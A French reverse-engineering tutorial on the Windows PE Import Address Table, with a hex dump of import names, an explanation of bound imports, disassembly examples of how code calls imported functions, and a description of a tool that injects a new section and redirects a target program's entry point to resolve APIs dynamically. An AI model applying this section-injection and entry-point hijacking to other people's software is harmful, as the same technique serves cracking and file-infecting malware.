000048A0 | 626F | 7574 | 4100 | 0900 | 4472 | 6167 | 4669 | 6E69 | boutA...DragFini
000048B0 | 7368 | 0000 | 0B00 | 4472 | 6167 | 5175 | 6572 | 7946 | sh....DragQueryF
000048C0 | 696C | 6541 | 0000 | 0800 | 4472 | 6167 | 4163 | 6365 | ileA....DragAcce
000048D0 | 7074 | 4669 | 6C65 | 7300 | 4E00 | 5368 | 656C | 6C45 | ptFiles.N.ShellE
000048E0 | 7865 | 6375 | 7465 | 4100 | 5348 | 454C | 4C33 | 322E | xecuteA.SHELL32.
000048F0 | 646C | 6C00 | 7100 | 4578 | 6974 | 5072 | 6F63 | 6573 | dll.q.ExitProces
00004900 | 7300 | F900 | 4765 | 744D | 6F64 | 756C | 6548 | 616E | s...GetModuleHan
00004910 | 646C | 6541 | 0000 | 2401 | 4765 | 7453 | 7461 | 7274 | dleA..$.GetStart
00004920 | 7570 | 496E | 666F | 4100 | BC00 | 4765 | 7443 | 6F6D | upInfoA...GetCom
00004930 | 6D61 | 6E64 | 4C69 | 6E65 | 4100 | 5601 | 476C | 6F62 | mandLineA.V.Glob
00004940 | 616C | 4672 | 6565 | 0000 | F100 | 4765 | 744C | 6F63 | alFree....GetLoc
00004950 | 616C | 6549 | 6E66 | 6F41 | 0000 | 9F02 | 6C73 | 7472 | aleInfoA....lstr
00004960 | 6370 | 7941 | 0000 | 3900 | 4372 | 6561 | 7465 | 4669 | cpyA..9.CreateFil
00004970 | 6C65 | 4100 | EF00 | 4765 | 744C | 6173 | 7445 | 7272 | leA...GetLastErr
00004980 | 6F72 | 0000 | 9602 | 6C73 | 7472 | 6361 | 7441 | 0000 | or....lstrcatA..
00004990 | 9100 | 4669 | 6E64 | 436C | 6F73 | 6500 | 9500 | 4669 | ..FindClose...Fi
000049A0 | 6E64 | 4669 | 7273 | 7446 | 696C | 6541 | 0000 | 9902 | ndFirstFileA
000049B0 | 6C73 | 7472 | 636D | 7041 | 0000 | 1D01 | 4765 | 7450 | lstrcmpA....GetP
000049C0 | 726F | 6669 | 6C65 | 5374 | 7269 | 6E67 | 4100 | A202 | rofileStringA...
000049D0 | 6C73 | 7472 | 6370 | 796E | 4100 | 9601 | 4C6F | 6361 | lstrcpynA...Loca
000049E0 | 6C52 | 6541 | 6C6C | 6F63 | 0000 | 9501 | 4C6F | 6361 | lReAlloc....Loca
000049F0 | 6C4C | 6F63 | 6B00 | 8F01 | 4C6F | 6361 | 6C41 | 6C6C | lLock...LocalAll
00004A00 | 6F63 | 0000 | A502 | 6C73 | 7472 | 6C65 | 6E41 | 0000 | oc....lstrlenA..
00004A10 | 9901 | 4C6F | 6361 | 6C55 | 6E6C | 6F63 | 6B00 | 8E02 | ..LocalUnlock...
00004A20 | 5F6C | 636C | 6F73 | 6500 | 5500 | 4465 | 6C65 | 7465 | _lclose.U.Delete
00004A30 | 4669 | 6C65 | 4100 | 9302 | 5F6C | 7772 | 6974 | 6400 | FileA..._lwrite.
00004A40 | 8F02 | 5F6C | 6372 | 6561 | 7400 | 9102 | 5F6C | 6F70 | .._lcreat..._lop
00004A50 | 656E | 0000 | 9202 | 5F6C | 7265 | 6164 | 0000 | 9002 | en...._lread....
00004A60 | 5F6C | 6C73 | 6565 | 6B00 | 9301 | 4C6F | 6361 | 6C46 | _llseek...LocalF
00004A70 | 7265 | 6500 | 6001 | 476C | 6F62 | 616C | 556E | 6C6F | ree.'.GlobalUnlo
00004A80 | 636B | 0000 | 5A01 | 476C | 6F62 | 616C | 4C6F | 636B | ck..Z.GlobalLock
00004A90 | 0000 | 4F01 | 476C | 6F62 | 616C | 416C | 6C6F | 6300 | ..O.GlobalAlloc.
00004AA0 | F000 | 4765 | 744C | 6F63 | 616C | 5469 | 6D65 | 0000 | ..GetLocalTime..
00004AB0 | 4101 | 4765 | 7454 | 696D | 6546 | 6F72 | 6D61 | 7441 | A.GetTimeFormatA
00004AC0 | 0000 | D100 | 4765 | 7444 | 6174 | 6546 | 6F72 | 6D61 | ....GetDateForma
00004AD0 | 7441 | 0000 | 9C02 | 6C73 | 7472 | 636D | 7069 | 4100 | tA....lstrcmpiA.
00004AE0 | 4B45 | 524E | 454C | 3332 | 2E64 | 6C6C | 0000 | 7F01 | KERNEL32.dll....
00004AF0 | 4D6F | 7665 | 5769 | 6E64 | 6F77 | 0000 | 3B01 | 496E | MoveWindow..;.In
00004B00 | 7661 | 6C69 | 6461 | 7465 | 5265 | 6374 | 0000 | C901 | validateRect....
00004B10 | 5365 | 7446 | 6F63 | 7573 | 0000 | 8E01 | 506F | 7374 | SetFocus....Post
00004B20 | 4D65 | 7373 | 6167 | 6541 | 0000 | E200 | 4765 | 7446 | MessageA....GetF
00004B30 | 6F63 | 7573 | 0000 | AF01 | 5365 | 6E64 | 4D65 | 7373 | ocus....SendMess
00004B40 | 6167 | 6541 | 0000 | 5E01 | 4C6F | 6164 | 4963 | 6F6E | ageA..^.LoadIcon
00004B50 | 4100 | 2502 | 5769 | 6E48 | 656C | 7041 | 0000 | CA01 | A.%.WinHelpA....
00004B60 | 5365 | 7446 | 6F72 | 6567 | 726F | 756F | 6457 | 696E | SetForegroundWin
00004B70 | 646F | 7700 | A900 | 456E | 6444 | 6961 | 6C6F | 6700 | dow...EndDialog.
00004B80 | F901 | 5368 | 6F77 | 5769 | 6E64 | 6F77 | 0000 | F200 | ..ShowWindow....
00004B90 | 4765 | 744C | 6173 | 7441 | 6374 | 6976 | 6550 | 6F70 | GetLastActivePop
00004BA0 | 7570 | 0000 | A500 | 456E | 6162 | 6C65 | 4D65 | 6E75 | up....EnableMenu
00004BB0 | 4974 | 656D | 0000 | 7800 | 4465 | 6657 | 696E | 646F | Item..x.DefWindo
00004BC0 | 7750 | 726F | 6341 | 0000 | 7601 | 4D65 | 7373 | 6167 | wProcA..v.Messag
00004BD0 | 6542 | 6F78 | 4100 | 7501 | 4D65 | 7373 | 6167 | 6542 | eBoxA.u.MessageB
00004BE0 | 6565 | 7000 | 8100 | 4465 | 7374 | 726F | 7957 | 696E | eep...DestroyWin
00004BF0 | 646F | 7700 | 4D01 | 4973 | 4963 | 6F6E | 6963 | 0000 | dow.M.IsIconic..
00004C00 | 9001 | 506F | 7374 | 5175 | 6974 | 4D65 | 7373 | 6167 | ..PostQuitMessag
00004C10 | 6500 | 8600 | 4469 | 7370 | 6174 | 6368 | 4D65 | 7373 | e...DispatchMess
00004C20 | 6167 | 6541 | 0000 | 0F02 | 5472 | 616E | 736C | 6174 | ageA....Translat
00004C30 | 654D | 6573 | 7361 | 6765 | 0000 | 0C02 | 5472 | 616E | eMessage....Tran
00004C40 | 736C | 6174 | 6541 | 6363 | 656C | 6572 | 6174 | 6F72 | slateAccelerator
00004C50 | 4100 | 4901 | 4973 | 4469 | 616C | 6F67 | 4D65 | 7373 | A.I.IsDialogMess
00004C60 | 6167 | 6541 | 0000 | FF00 | 4765 | 744D | 6573 | 7361 | ageA....GetMessa
00004C70 | 6765 | 4100 | EE01 | 5365 | 7457 | 696E | 646F | 7754 | geA...SetWindowT
00004C80 | 6578 | 7441 | 0000 | 1E00 | 4368 | 6172 | 4E65 | 7874 | extA....CharNext
00004C90 | 4100 | 2F00 | 4368 | 6563 | 6B4D | 656E | 7549 | 7465 | A./.CheckMenuIte
00004CA0 | 6D00 | 3700 | 436C | 6F73 | 6543 | 6C69 | 7062 | 6F61 | m.7.CloseClipboa
00004CB0 | 7264 | 0000 | 4701 | 4973 | 436C | 6970 | 626F | 6172 | rd..G.IsClipboar
00004CC0 | 6446 | 6F72 | 6D61 | 7441 | 7661 | 696C | 6162 | 6C65 | dFormatAvailable
00004CD0 | 0000 | 8701 | 4F70 | 656E | 436C | 6970 | 626F | 6172 | ....OpenClipboar
00004CE0 | 6400 | 1201 | 4765 | 7453 | 7562 | 4D65 | 6E75 | 0000 | d...GetSubMenu..
00004CF0 | F300 | 4765 | 744D | 656E | 7500 | 6801 | 4C6F | 6164 | ..GetMenu.h.Load
00004D00 | 5374 | 7269 | 6E67 | 4100 | 5601 | 4C6F | 6164 | 4163 | StringA.V.LoadAc
00004D10 | 6365 | 6C65 | 7261 | 746F | 7273 | 4100 | 1501 | 4765 | celeratorsA...Ge
00004D20 | 7453 | 7973 | 7465 | 6D4D | 656E | 7500 | A001 | 5265 | tSystemMenu...Re
00004D30 | 6769 | 7374 | 6572 | 5769 | 6E64 | 6F77 | 4D65 | 7373 | gisterWindowMess
00004D40 | 6167 | 6541 | 0000 | E901 | 5365 | 7457 | 696E | 646F | ageA....SetWindo
00004D50 | 774C | 6F6E | 6741 | 0000 | 5000 | 4372 | 6561 | 7465 | wLongA..P.Create
00004D60 | 5769 | 6E64 | 6F77 | 4578 | 4100 | 5A01 | 4C6F | 6164 | WindowExA.Z.Load
00004D70 | 4375 | 7273 | 6F72 | 4100 | 9601 | 5265 | 6769 | 7374 | CursorA...Regist
00004D80 | 6572 | 436C | 6173 | 7345 | 7841 | 0000 | 1601 | 4765 | erClassExA....Ge
00004D90 | 7453 | 7973 | 7465 | 6D4D | 6574 | 7269 | 6373 | 0000 | tSystemMetrics..
00004DA0 | C001 | 5365 | 7443 | 7572 | 736F | 7200 | 1902 | 5570 | ..SetCursor...Up
00004DB0 | 6461 | 7465 | 5769 | 6E64 | 6F77 | 0000 | 2200 | 4368 | dateWindow..".Ch
00004DC0 | 6172 | 5072 | 6576 | 4100 | CF00 | 4765 | 7443 | 6C69 | arPrevA...GetCli
00004DD0 | 656E | 7452 | 6563 | 7400 | 8B01 | 5065 | 656B | 4D65 | entRect...PeekMe
00004DE0 | 7373 | 6167 | 6541 | 0000 | C601 | 5365 | 7444 | 6C67 | ssageA....SetDlg
00004DF0 | 4974 | 656D | 5465 | 7874 | 4100 | 0202 | 5461 | 6262 | ItemTextA...Tabb
00004E00 | 6564 | 5465 | 7874 | 4F75 | 7441 | 0000 | 4600 | 4372 | edTextOutA..F.Cr
00004E10 | 6561 | 7465 | 4469 | 616C | 6F67 | 5061 | 7261 | 6D41 | eateDialogParamA
00004E20 | 0000 | A700 | 456E | 6162 | 6C65 | 5769 | 6E64 | 6F77 | ....EnableWindow
00004E30 | 0000 | 2601 | 4765 | 7457 | 696E | 646F | 7754 | 6578 | ..&.GetWindowTex
00004E40 | 7441 | 0000 | A301 | 5265 | 6C65 | 6173 | 6544 | 4300 | ta....ReleaseDC
00004E50 | D800 | 4765 | 7444 | 4300 | AD01 | 5365 | 6E64 | 446C | ..GetDC...SendDl
00004E60 | 6749 | 7465 | 6D4D | 6573 | 7361 | 6765 | 4100 | DC00 | dItemMessageA...
00004E70 | 4765 | 7444 | 6C67 | 4374 | 726C | 4944 | 0000 | 3200 | GetDlgCtrlID..2.
00004E80 | 4368 | 696C | 6457 | 696E | 646F | 7746 | 726F | 6D50 | ChildWindowFromP
00004E90 | 6F69 | 6E74 | 0000 | A901 | 5363 | 7265 | 656E | 546F | oint....ScreenTo
00004EA0 | 436C | 6965 | 6E74 | 0000 | D700 | 4765 | 7443 | 7572 | Client....GetCur
00004EB0 | 736F | 7250 | 6F73 | 0000 | DF00 | 4765 | 7444 | 6C67 | sorPos....GetDlg
00004EC0 | 4974 | 656D | 5465 | 7874 | 4100 | 2D02 | 7773 | 7072 | ItemTextA.-.wspr
00004ED0 | 696E | 7466 | 4100 | 5553 | 4552 | 3332 | 2E64 | 6C6C | intfA.USER32.dll
00004EE0 | 0000 | 4600 | 4465 | 6C65 | 7465 | 4F62 | 6A65 | 6374 | ..F.DeleteObject
00004EF0 | 0000 | BC00 | 4765 | 7453 | 746F | 636B | 4F62 | 6A65 | ....GetStockObje
00004F00 | 6374 | 0000 | 4300 | 4465 | 6C65 | 7465 | 4443 | 0000 | ct..C.DeleteDC..
00004F10 | 0000 | 4162 | 6F72 | 7444 | 6F63 | 0000 | 0601 | 5365 | ..AbortDoc....Se
00004F20 | 6C65 | 6374 | 4F62 | 6A65 | 6374 | 0000 | 4D00 | 456E | lectObject..M.En
00004F30 | 6444 | 6F63 | 0000 | 4E00 | 456E | 6450 | 6167 | 6500 | dDoc..N.EndPage.
00004F40 | 3701 | 5374 | 6172 | 7450 | 6167 | 6500 | 3501 | 5374 | 7.StartPage.5.St
00004F50 | 6172 | 7444 | 6F63 | 4100 | 0801 | 5365 | 7441 | 626F | artDocA...SetAbo
00004F60 | 7274 | 5072 | 6F63 | 0000 | C900 | 4765 | 7454 | 6578 | rtProc....GetTex
00004F70 | 7445 | 7874 | 656E | 7450 | 6F69 | 6E74 | 4100 | 8E00 | tExtentPointA..
00004F80 | 4765 | 7444 | 6576 | 6963 | 6543 | 6170 | 7300 | 2B00 | GetDeviceCaps.+.
00004F90 | 4372 | 6561 | 7465 | 466F | 6E74 | 4100 | CD00 | 4765 | CreateFontA...Ge
00004FA0 | 7454 | 6578 | 744D | 6574 | 7269 | 6373 | 4100 | 0D01 | tTextMetricsA...
00004FB0 | 5365 | 7442 | 6B4D | 6F64 | 6500 | 1C01 | 5365 | 744D | SetBkMode...SetM
00004FC0 | 6170 | 4D6F | 6465 | 0000 | D700 | 4C50 | 746F | 4450 | apMode....LPtoDP
00004FD0 | 0000 | 3201 | 5365 | 7457 | 696E | 646E | 7745 | 7874 | ..2.SetWindowExt
00004FE0 | 4578 | 0000 | 2F01 | 5365 | 7456 | 6965 | 7770 | 6F72 | Ex../.SetViewpor
00004FF0 | 7445 | 7874 | 4578 | 0000 | C200 | 4765 | 7454 | 6578 | tExtEx....GetTex
00005000 | 7443 | 6861 | 7273 | 6574 | 0000 | 2000 | 4372 | 6561 | tCharset.. .Crea
00005010 | 7465 | 4443 | 4100 | 4744 | 4933 | 322E | 646C | 6C00 | teDCA.GDI32.dll.
00005020 | 0200 | 436F | 6D6D | 446C | 6745 | 7874 | 656E | 6465 | ..CommDlgExtende
00005030 | 6445 | 7272 | 6F72 | 0000 | 0600 | 4765 | 7453 | 6176 | dError....GetSav
00005040 | 6546 | 696C | 654E | 616D | 6541 | 0000 | 0700 | 5061 | eFileNameA....Pa
00005050 | 6765 | 5365 | 7475 | 7044 | 6C67 | 4100 | 0300 | 4669 | geSetupDlgA...Fi
00005060 | 6E64 | 5465 | 7874 | 4100 | 0500 | 4765 | 744F | 7065 | ndTextA...GetOpe
00005070 | 6E46 | 696C | 654E | 616D | 6541 | 0000 | 0400 | 4765 | nFileNameA....Ge
00005080 | 7446 | 696C | 6554 | 6974 | 6C65 | 4100 | 636F | 6D64 | tFileTitleA.Comd
00005090 | 6C67 | 3332 | 2E64 | 6C6C | 0000 | 0000 | 0000 | 0000 | lg32.dll........
000050A0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000050B0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000050C0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000050D0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000050E0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000050F0 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005100 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005110 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005120 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005130 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005140 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005150 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005160 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005170 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005180 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005190 0000 0000 0000 0000 0000 0000 0000 0000 ................
000051A0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000051B0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000051C0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000051D0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000051E0 0000 0000 0000 0000 0000 0000 0000 0000 ................
000051F0 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005200

Il y a une chose qui fait que cet IAT n'entre pas dans la norme. Enfin bien sûr que si, il suit bien une norme définit mais pas celle des petits programmes triviaux.

On a vu que les RVA qui constituent les membres de ORIGINAL_FIRST_THUNK et de FIRST_THUNK ne sont pas identiques alors que normalement ils devraient l'être.

Voici le principe de base :

Quand on exécute un programme, le Loader de Windows le mappe en mémoire. l'IAT comme tout le reste du programme est entièrement recopié et ce qui doit se passer en tant normal, c'est que pour chaque fonction, le Loader remplace les RVA FirstThunk par les vraies adresses où on peut trouver les fonctions.

Mais ici ce qui est fait, c'est que les RVA FirstThunk n'en sont plus, ce sont directement les adresses des fonctions comme on les auraient trouvés une fois le programme mappé. La raison c'est que cet exécutable a été lié grâce au petit programme Bind.exe. Lié ça veut dire que le programme Bind.exe a remplacé les FIRST THUNK par les adresses des fonctions, il a fait directement dans le fichier le travail que le Loader aurait normalement fait en mémoire. L'avantage c'est que puisqu'il a pu prévoir directement ces adresses, l'exécutable se lancera plus rapidement, c'est tout. Alors comment le Loader du système sait ou non qu'il a à faire à des RVAs ou à de vraies adresses ?
Et bien si TimeDateStamp est NULL c'est que les structures FIRST_THUNK contiennent des RVA. Sinon FIRST_THUNK sont des adresses et dans ce cas TimeDateStamp represente la date et l'heure de création de la DLL. Dans le programme lié, le membre TimeDateStamp de chaque structure IMAGE_IMPORT_DESCRIPTOR est alors comparé au TimeDateStamp unique de la DLL en question. Si ils sont semblables, c'est que les adresses contenus dans les FIRST_THUNK sont bien les adresses correctes des fonctions de cette DLL. Si les TimeDateStamp du programme et celui de la DLLs sont différents, ça signifie que la version de votre DLL n'est pas celle qui avait été utilisée au moment de linker votre programme (grâce à Bind.exe) et dans ce cas le Loader de Windows revient consulter les structures ORIGINAL_FIRST_THUNK pour retrouver des RVA et ensuite retrouver les bonnes adresses puis il écrase les anciennes adresses contenues dans les FIRST_THUNK par les bonnes qui sont d'actualité.
Le membre Forwarder de la structure IMAGE_IMPORT_DESCRIPTOR est un membre avancé qui est utilisé pour certains types particuliers de fonctions importées. Il est mis à -1 en temps normal sauf si la fonction exportée par la DLL provient en fait d'une autre DLL. Dans ce cas, la DLL sert un peu de relai entre le programme et une autre DLL qui possède en réalité cette fonction.


Import Address Table

PROGRAMME D'AUTOMATISATION

Bon connaitre le fonctionnement de l'IAT c'est très bien, mais le reverser c'est une autre histoire, le véritable problème c'est pas l'IAT lui-même mais plutôt la reconstruction des différents liens. Comme je l'ai déjà dit, j'avais réalisé un petit programme qui reconstruisait l'IAT et rétablissait les liens les plus communs. Mais faut pas se voiler la face, il est franchement inefficace parce qu'il y a toujours à un moment ou à un autre un type de lien fantaisiste qui fini par faire échouer l'ensemble. Donc l'IAT, ne faîtes pas l'impasse dessus ce serait bien dommage, mais je pense qu'on peut s'en passer en étant un peu plus malin.

Il y a deux grands principes pour appeler une fonction. Soit on l'extrait à partir de l'IAT comme on l'a vue précédemment, soit on a la possibilité de retouver une fonction quelconque en l'appelant à partir des fonctions LoadLibraryA/GetProcAddress.
Le bon point c'est que si vous décidez de reverser un programme, il n'y a aucun problème si LoadLibraryA et GetProcAddress sont présents dans son IAT.
Le mauvais point forcément, c'est que c'est impossible si ces deux fonctions ne sont pas dans son IAT. Et là... Catastrophe... Le tut s'arrête là donc...

Hep!! nan nan... pas si vite!!! Si vous allez sur le site de qui-vous-savez, vous trouverez un programme écrit par y0da. La particularité de ce programme c'est justement de retrouver l'handle de Kernel32 puis les adresses de LoadLibrary et GetProcAddress sans utiliser AUCUNE api. Ouuuu !!! Je sens déjà qu'avant même d'avoir pu lire la suite, votre cerveau commence à bouillonner ... les idées se forment, indistinctes encore, mais une voie se dessine... Ne serait-il pas possible de créer un pseudo-IAT, une nouvelle section recherchant par ses propres moyens les adresses d'éventuelles nouvelles fonctions, et ça uniquement à partir de mnémoniques et rien d'autre ? Bien sûr que c'est possible. Et non seulement c'est faisable, mais c'est FAIT.

Le principe c'est sur un programme cible lui ajouter une nouvelle section, rediriger l'EntryPoint sur elle puis une fois son travail effectué, retourner l'EntryPoint vers son adresse d'origine. Le contenu de cette nouvelle section, c'est ni plus ni moins que le programme de y0da lui-même, ammélioré quelque peu.
Cette section est un véritable programme à part entière. Elle contient à la fois des data et du code.
Mon programme injecte dans la cible le code de y0da et dans sa zone data les noms des fonctions (avec leurs DLL parentes) que vous souhaitez ajouter, et rien d'autre.
Maintenant si vous lancer votre cible, le code de y0da incorporé, va retrouver les noms des fonctions et à partir d'elles il va retrouver leurs adresses dynamiquement. On arrive donc à nos fins, les adresses des nouvelles fonctions deviennent disponibles. Ces adresses sont elles-mêmes ré-inscritent dans la zone data de ma section uniquement si la cible est en route (si vous jetez un coup d'oeil en DeadListing vous ne verrez jamais aucune adresse, elles sont créées et recréées à la volée).
J'ai dit dynamiquement, parce que les adresses retrouvées ne sont pas statiques, et c'est là la grande force de ce principe. Si vous avez une certaine version d'une DLL, l'adresse d'une fonction précise sera valide, et pour cette même DLL mais sous une version plus évolue, l'adresse de la fonction même ayant changée, mon loader retrouvera sa nouvelle adresse. C'est exactement ce qui est fait au niveau d'un vrai IAT. L'énorme avantage, c'est qu'on ne touche absolument pas au véritable IAT et donc aucun lien n'a besoin d'être retouché. Simplement les nouvelles adresses sont mises à part dans la nouvelle section, c'est tout...

Bon, je n'irai pas plus loin. L'utilisation de mon programme est vraiment trivial. Et puisque vous lisez ces lignes, c'est que vous projetez d'ajouter des fonctions à un programme cible, ce qui signifie que vous possédez un niveau suffisament avancé en reverse, donc je ne vous bassinerai pas plus longtemps en vous impossant un exemple. Maintenant, c'est à vous de jouer!

Ah juste deux points avant de nous quitter, GetProcAddress retrouve les adresses des fonctions grâce à leurs noms, donc pour les fonctions exportées BY ORDINAL ne vous étonnez pas si elles refusent de se plier à vos besoins. Mais bon, vous en utilisez souvent vous ?
Egalement, les adresses des nouvelles fonctions ne sont disponibles qu'une fois que ma section aie terminée son travail forcément donc si vous projetez de créer une section de plus pour placer votre propre code, vous devez effecter la redirection vers la vôtre seulement à la fin de la mienne. Mais sachez que ma section est normalement bien suffusante pour y placer aussi le vôtre.

Par Morgatte


IMPORT ADDRESS TABLE (IAT)

LES DIFFERENTS TYPES D'APPELS ENTRE
LA SECTION CODE ET LES FONCTIONS

L'IAT n'est pas une fin en soit. Il contient les noms des DLL et de leurs fonctions. Mais il faut bien que le programme consulte cette liste à un moment donné, et c'est dans la section .code que ça se passe. Quand vous utilisez une API dans votre code, ce code fait une liaison vers l'IAT pour accéder à cette fonction. Et forcément ce serait trop simple semble-t-il qu'il n'existe qu'un seul type de lien entre le code et l'IAT. Ce tutorial fait la lumière sur ce point.

Toutes les informations qui suivent sont le résultat d'observations. Il se peut donc que d'autres types de liens existent et ne soient pas décrits ici. Cependant je pense quand mêmes que la totalité des cas (Normaux) soient décrit ici, même si je ne peux pas le garantir à 100%. Je précise bien cas normaux parce qu'il est possible d'inventer de nouveaux types de liens, je pense en particulier à la façon dont Aspack crée des liens atypiques en évitant de pointer directement sur le début de l'adresse de la fonction qu'elle appelle.

Je pense qu'il exite quatre principaux types de liens:

I) APPEL DIRECT PROCHE Call A1 A1 jmp dword ptr [IAT] | II) APPEL DIRECT LOINTAIN Call dword ptr [adresseIAT] |
 | III) APPEL INDIRECT Call dword ptr [adresse???] | IV) APPEL INDIRECT RETARDÉ Mov esi, dword ptr [adresse???] Call esi

I) APPEL DIRECT PROCHE :

Je lui donne le nom d' "Appel Direct Proche " car pour appeler la fonction un simple CALL xxxxxxxx suffit.Il est Proche parce que l'adresse en question reste dans la partie code.
Ce n'est peut-être pas le type de lien le plus courrant mais c'est de loin le plus simple. Et comme un exemple vaut tous les discours, allons-y gaiement!!

* Reference To: KERNEL32.ExitProcess, Ord:0075h
:00401201 E8400D0000 Call 00401F46 <-- adresse appartenant à la section code
....
....
* Reference To: KERNEL32.ExitProcess, Ord:0075h
:00401F46 FF2514204000 Jmp dword ptr [00402014] <-- adresse ayant un rapport avec l'IAT

Dans ce type d'utilisation d'une fonction, on utilise un simple "Call xxxxxxxx" lequel pointe tout en bas de la section .code.
A la fin de la partie .code justement on trouve les différents sauts qui pointent dans l'IAT sur le membre "First Thunk" de la fonction en question
Ici il semble bien qu'on ignore la structure IMAGE_IMPORT_DESCRIPTOR qui est la première normalement consultée. Vous pouvez vous contenter de ces connaissances sans allez plus loin. C'est suffisant.

Vous voulez le détail pour vraiment comprendre...

Avec (ProcDump :
ImageBase = 00400000h
VirtualAddress= 00002000h
RawAddress = 00001400h 		0042014 - 00400000 = 0000 2014
Et on prend comme référence non plus le VirtualAdress
mais le RawOffset soit => 0000 1414h (Parce que HexWorkShop se réfère au RawOffset)

dans HexWorkShop en 0000 1414 on trouve le dword F422 0000 (Qui est bien le 'First Thunk" de ExitProcess) car en
F422 0000 au format Intel (inversé donne 0000 22F4)
Et en changeant de base on trouve 0000 22F4 - 0000 2000 + 0000 1400 = 0000 16F4
Et en 0016F4 on trouve bien u.ExitProcess..... (N°Ordinal+Function_Name)

Ca c'est une structure IMAGE_IMPORT_BY_NAME sans le moindre doute. Et Qu'est-ce qui pointe sur une structure IMAGE_IMPORT_BY_NAME ? c'est toujours la structure "FIRST_THUNK" de la fonction en question. On vient donc de prouver que l'adresse ente les crochets pointe belle et bien vers la structure "FIRST_THUNK" de la fonction qu'on Call. (La boucle est bouclée).

II) APPEL DIRECT LOINTAIN :

Celui-ci est sûrement le type le plus courrant de lien entre la partie code et l'IAT.
Je l'appelle ainsi par ce que ce call se sert bien des info contenues dans l'IAT (contrairement aux cas qui vont suivres), mais lointain car cette adresse n'appartient plus à la section code.

* Reference To: KERNEL32.ExitProcess, Ord:0071h
:00401077 FF1554734000 Call dword ptr [00402014] <-- ayant un rapport direct avec l'IAT.

Ce call là est une concaténation du Call/Jmp dword vu précédemment. Et l'adresse qu'il contient n'est autre que le RVA FirstThunk si vous prenez le soin de lui soustraire l'ImageBase.

Reprenez les données du précédent exemple et vous avez son double. C'est seulement une autre façon de présenter la chose.

III) APPEL INDIRECT :

Je l'appelle indirect parce qu'on ne passe à aucun moment par l'IAT. Ici on se passe de ses services. Malheureusement, c'est le second type de lien le plus courrant.

* Reference To: KERNEL32.ExitProcess, Ord:0071h
:00401077 FF1554734000 Call dword ptr [00407354] <-- adresse hors du programme.

Ce type d'appel est particulier. Ici le Call ne pointe pas dans l'IAT. Et comme dans le cas précédent ce n'est pas l'adresse entre les crochets[] qui est importante mais ce que contient cette adresse. Ce contenu est lui-même une autre adresse, qui elle pointe directement dans la DLL à l'endroit où se trouve la fonction. On ne passe donc pas par l'IAT, on va chercher la fonction directement dans la DLL.

Exemple complet:

* Reference To: KERNEL32.ExitProcess, Ord:0071h
:00401077 FF1554734000 Call dword ptr [00407354] (avec par exemple [Contenu_de_00407354] = 833F2FB8)

L'adresse 833F2FB8 n'appartient ni au programme lui-même ni à la DLL (Kernel32.dll) qui contient cette fonction (ExitProcess). On pointe donc à un endroit inconnu mais qui nous renvoie bien vers la fonction en question.

:833F2FB8 push BFF84DF8 <------------------------ adresse de la fonction
:833F2FBD jmp KERNEL32.BFF957CA

Maintenant seulement Ce jmp nous amène à la fonction tant convoitée.

ExitProcess ( )
:BFF84DF8 mov eax, ......
..................
..........

C'est vrai que cet appel n'utilise pas les services de l'IAT, Cependant il n'est pas question pour autant d'altérer le nom de cette fonction dans l'IAT. Car même si le code n'y fait pas appelle, son nom est utilisé à un autre moment pour connaitre toutes les fonctions importées par le programme par exemple en passant par le chemin habituel : IMAGE_IMPORT_DESCRIPTOR => FIRST THUNK => IMAGE_IMPORT_BY_NAME

IV) APPEL INDIRECT RETARDÉ :

Là ça se complique. Le Call appelant la fonction n'utilise plus une adresse fixe mais la valeur contenue dans un Registre. C'est donc une autre mnémonique placée en amont qui doit affecter la valeur correcte au Registre. Un 'Mov', j'ai jamais rien rencontré d'autre pour l'instant, mais un Pop serait possible.

* Reference To: USER32.CreateWindowExA, Ord:0050h
|
:00402719 8B3DC4734000 mov edi, dword ptr [004073C4]
:0040271F 6800000080 push 80000000
:00402724 680000CF00 push 00CF0000
:00402729 6888614000 push 00406188

* Possible StringData Ref from Data Obj ->"Notepad"
|
:0040272E 6820604000 push 00406020
:00402733 6A00 push 00000000
:00402735 FFD7 call edi

En réalité cet appel n'utilise pas non plus l'IAT. C'est une version un poil plus évoluée du type de lien vu précédemment (III). Le registre va pointer sur une adresse n'appartenant ni au programme lui-même ni à la DLL dont on appelle la fonction. Ce registre pointe ailleurs. Mais l'adresse contenue dans le Registre va nous rediriger dans la DLL sur l'entrée de la fonction appelée.

Exemple :

Contenu de [004073C4] vaut 834F8108 donc edi = 834F8108

834F8108 push BFF55C71 <------------------------ adresse de la fonction
834F810D jmp KERNEL32.BFF957CA

Ce saut nous redirige comme tout à l'heure vers l'adresse de la bonne fonction.

CreateWindowExA ( )
:BFF55C71 mov ch, 30
..........

Les Registres utilisés sont principalement EDI et ESI, mais on trouve aussi EBX parfois. Pour ce qui est des Push précédant l'appel de la fonction je pense que vous avez devinez ce qu'ils représentent. Donc j'en dirais pas plus... Bon d'accord, mais juste un indice alors... J'ai pas tout mis ici, mais il y a encore sept autres Push au dessus de cette partie de code, ce qui en fait douze au total au dessus de l'appel à la fonction CreateWindowEx. Voyez plutôt la référence W32API et le nombre d'arguments de cette fonction justement.

V) RETABLIR LES LIENS ENTRE LE CODE ET LES FONCTIONS :

Revenons au principal problème.

Quel est le but de tout ceci.... Imaginons.... Je souhaite ajouter une DLL et ses fonctions dans un programme. Pire je souhaite utiliser une fonction (non présente) dans une DLL qui elle est déjà déclarée. Dans les deux cas je suis obligé de reconstruire un nouvel IAT, Déplacer des fonctions pour pouvoir en insérer certaines autres entre elles. Résultat, les adresses initiales où elles étaient ne sont plus valides.

